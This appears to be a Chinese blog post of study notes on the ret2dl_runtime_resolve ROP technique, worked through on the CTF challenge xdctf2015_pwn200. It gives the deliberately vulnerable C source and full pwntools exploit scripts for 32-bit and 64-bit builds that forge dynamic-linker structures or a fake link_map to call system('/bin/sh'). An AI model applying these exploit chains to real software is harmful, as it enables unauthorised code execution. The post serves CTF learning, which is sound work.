ret2_dl_runtime_resolve学习

以下为个人总结,如有错误,还望看官指出

一种复杂的rop利用技术,但利用方式单一,模板化

适用场景:

NX和ASLR保护开启,简单栈溢出同时难以泄露更多信息

32位利用:

大致的讲一下,详细的利用步骤与细节可上网自行查询其他大佬

函数dl_runtime_resolve(link_map_obj,reloc_index)有这两个参数

调用dl_runtime_resolve要摆好这两个参数

link_map_obj的值可以pwntools获取:elf.get_section_by_name(‘.plt’).header.sh_addr

而reloc_index参数和rop的要求:

1. reloc_index就是rel.plt的偏移,我们要改为指向bss段我们伪造的rel.plt结构{r_offest,r_info}

2. r_info>>8就是.dynsym的偏移,我们要改为指向bss段我们伪造的

dynsym结构{st_name,st_value,st_size ,st_info}

3. st_name就是.dynstr的偏移,我们要改为指向bss段我们伪造的字符串(可以为system\x00)

注: 我们要算出偏移都是要知道 对应表的基址 与 我们fake_struck地址 相应运算一下

基址都可以pwntools获取

还有就是fake_dynsym_struck要地址对齐

例题:xdctf2015_pwn200(Partial RELRO)

源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
	char buf[100];
	setbuf(stdin, buf);
	read(0, buf, 256);
}
int main()
{
	char buf[100] = "Welcome to XDCTF2015~!\n";

	setbuf(stdout, buf);
	write(1, buf, strlen(buf));
	vuln();
	return 0;

}

编译一下

gcc -fno-stack-protector -m32 -z relro -no-pie pwn.c -o main

exp:

from pwn import *
offset = 112
elf = ELF('./bof')
io = process('./bof')
rop = ROP('./bof')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw('a'*offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())

rop = ROP('./bof')

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align

index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read']
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage+82)
rop.raw('bbbb')
rop.raw('bbbb')

rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
#print(rop.dump())
io.sendline(rop.chain())
io.interactive()

64位利用:

64位与32位相比又有许多不同的地方,详细请参考网络上其他大佬

这里贴一位

ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客

(假设我们控制的地址在bss段)

64位的话要在bss段伪造Linkmap结构,控制:

  1. DT_JMPREL指针:位于link_map_addr +0xF8,它指向的结构第二个参数指向伪造的.rel.plt的地址
    我们要把它改为指向bss段我们伪造的结构,我们伪造结构的第二个参数指向bss段我们伪造的.rel.plt结构

  2. DT_SYMTAB指针:位于link_map_addr + 0x70,指向bss段我们伪造的dyn_symtab结构
    (DT_STRTAB指针:位于link_map_addr +0x68,但用不到)

  3. l_addr,位于link_map+0处,l_addr的值=libc.sym[‘system’] - libc.sym[‘w
    rite’] (system减去一个已经绑定过的plt表)

最后都布置好了的话rdi传入/bin/sh的地址,加载dlsolve,参数入栈(fake_linkmap_addr 和 (push) 0)

可以gdb调试看看push几,那个加载dlsolve的地址也能调试得到
请添加图片描述

例题1:xdctf2015_pwn200(Partial RELRO)

源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
	char buf[100];
	setbuf(stdin, buf);
	read(0, buf, 256);
}
int main()
{
	char buf[100] = "Welcome to XDCTF2015~!\n";

	setbuf(stdout, buf);
	write(1, buf, strlen(buf));
	vuln();
	return 0;

}

同样的题目编译一下,不过变为64位

gcc -fno-stack-protector -z relro -no-pie pwn.c -o main

exp:

from pwn import*
r=process('./main')
elf=ELF('./main')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
bss_addr = elf.bss()
stack_size = 0x400
bss_stage = bss_addr + stack_size
l_addr =  libc.sym['system'] -libc.sym['write']
print hex(l_addr)
pop_rdi=0x4007b3 #pop rdi ; ret
pop_rsi=0x4007b1 #pop rsi ; pop r15 ; ret
ret=0x400501#ret
dlsolve = 0x400516#gdb debug find

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
    #dyn_relplt
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    #relplt
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)

    linkmap += p64(0)#l_ns
    #dyn_symtab
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    
    linkmap += b'/bin/sh\x00'
    
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr)#fake_linkmap+0x68
    linkmap += p64(fake_linkmap_addr + 0x38)#fake_linkmap+0x70
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)#fake_linkmap+0xf8
    return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, elf.got['write'] ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 ,elf.plt['read'],
        ret, ret,ret,ret,
        pop_rdi , bss_stage + 0x48  , dlsolve , bss_stage , 0
)
r.recvuntil('Welcome to XDCTF2015~!\n')
r.send(payload)
r.sendline(fake_link_map)
r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值